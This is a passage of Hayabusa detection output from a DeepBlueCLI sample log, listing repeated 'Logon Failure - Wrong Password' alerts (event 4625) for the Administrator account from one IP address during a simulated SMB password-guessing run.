NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.527 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g0CvYYtyEcU2riBX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tPg2LKgWMeM0Oqo0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dbzL9T2d4RdeCz4q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.653 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PeEfbWpoipfYtOKv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.685 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RKJW1vSrIAbRTzyB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.730 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aU4G8NBru22Vc4Cl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sacBcqxV97FUihrd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.821 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 41Ms0lEMeT0jYxYj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.859 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AkQWVEHGM1NxowR0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.906 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4qKqRY7L2IQRoU57 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.954 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eMIkvwbvqc9V6CFs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.001 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PehzjCnK42ZPUE7e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.049 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1fqw2GWiYfO0kU83 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.094 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WFPJJNCFdPJl4igl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zc6CrAr7YoozKB6r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.192 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xHXminAIeV4ZJIK3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.241 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 06YmUCHNZqbaZMdZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.282 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fYoENCtP2uPy9xNh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TRJRuXJTTH1afAfH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.381 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MpnkzTlc3Uvj3hpY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.425 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oIuD8haFzR8P87rL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.475 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XL1IreMAiE564NXN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.520 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vMUiCaMGBC46MnPJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MOSWbwooyb60LExG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oSDNF7s3vbtkZIOz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.641 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JBMk0qOV6237XtK3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.694 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j41R1U1tYPvApCkZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.737 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OcPkVZSeg5VwChW8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.778 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aDLxt5gaFDTKsiVl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 94JvBKdxJkawQQMT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KgBMk00K3iC1GQem : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XdGOj9Ybm6bcCo3p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.950 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: by6F4YKorxhp5ahn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:40.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b1G6ZOgOaV6luDQN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.046 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qqSwNfvpPLQd6ZH1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.087 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mxtJJj54xSzHibHI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.129 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Y3yznfdaZ7dtwDO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: esllFn4asbLxwkBu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.202 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5Pr0cgd6cF5ukhZ8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.249 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pS2fabTrbl6rZ1NB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.305 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FkylDDmUyuT57HdH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.337 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Aqs8rSvuLAQuhfDp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KI07KTgBJc4kBSKY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.421 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Re3n3nJ8EEhRRT3G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.465 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BzspAC3z1csEn0Ve : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.505 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tpkb6bf42SLUst3z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.546 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I1F5d2wn60OgAExW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bhPNRHWhTyonDPuA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.642 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zEsnyWpUuHVBo6et : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.685 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I2FwaWy9TALkk9eU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.778 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fuikeQsxlOUVifVj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZWdsRJp9fHypPI1d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B0j0IBX2eZnx99n9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.909 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YIZ5Knxg0xr0WmDb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.953 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wuej3f7mEoWmd4SX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:41.998 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B0LcCi06ilIhFPwb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.041 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jWsCGgoFmH06rRf4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.093 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bP47JjNKqtYIZPsC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.140 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mNlWZ9o0xf7bl2d0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.186 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hnPnB2lEN3BSDpXJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dVMyeF9jGuzHkTHg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.269 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sDKLl3PjW2qrzJGa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rkllnePSq3NQ5wgC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.359 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j9qLWgQnR7P9cs7s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.408 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C1AdU07nzvv7RB2i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.452 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cHgiB5SMiQtsl5oD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.499 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 03e7QOn36l0jH35H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.548 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DoJBywV8x8cURwrO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.583 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SDYGYO6s6g6Dbx8r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.621 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nUqXpeTNePFyBmCo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: T2h0qJWcbzRe1GSj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: edsfNOovOl1Ow503 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.740 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cxCC83XLMIJrNMvl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.785 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MzussOcg5ihdrnD0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 55l4HKICu8x0FpQv : IP Address: 192.168.198.149 : AuthPackage: 